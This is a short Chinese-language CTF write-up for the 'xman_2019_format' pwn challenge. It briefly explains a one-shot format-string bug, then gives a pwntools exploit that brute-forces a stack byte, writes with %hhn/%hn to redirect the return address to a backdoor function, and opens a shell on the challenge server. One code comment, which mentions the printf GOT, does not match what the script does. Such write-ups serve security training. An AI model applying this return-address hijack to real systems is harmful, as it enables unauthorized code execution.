xman_2019_format
首先檢查一下程序的保護機制
然後用IDA分析一下
存在一個後門函數
s執行的內存是非棧上,這類格式化字符串漏洞,一般需要先泄露棧地址,但是這裏無法做到,如果泄露了,第二次也沒機會來再次利用了。因爲這裏是一次輸入,分步執行。沒有循環的交互。因此,最簡單的方法是爆破棧的低1字節。通過棧上已有的數據,在棧上布下一個指向函數返回地址棧的指針,然後劫持返回地址棧。
#coding:utf8
from pwn import *
#sh = process('./xman_2019_format')
sh = remote('node3.buuoj.cn',27216)
elf = ELF('./xman_2019_format')
backdoor = 0x080485AB
#假設$14棧的數據低一字節爲0x98,則爆破,成功率1/16,實際上機率更高
stack_guess = 0x98
#修改$18爲$30-0x4C,也就是函數返回地址值
payload = '%' + str(stack_guess-0x4C) + 'c%10$hhn|'
#在棧上$31佈置printf的got低2字節地址
payload += '%' + str(backdoor & 0xFFFF) + 'c%18$hn|'
sh.sendafter('...',payload)
sh.interactive()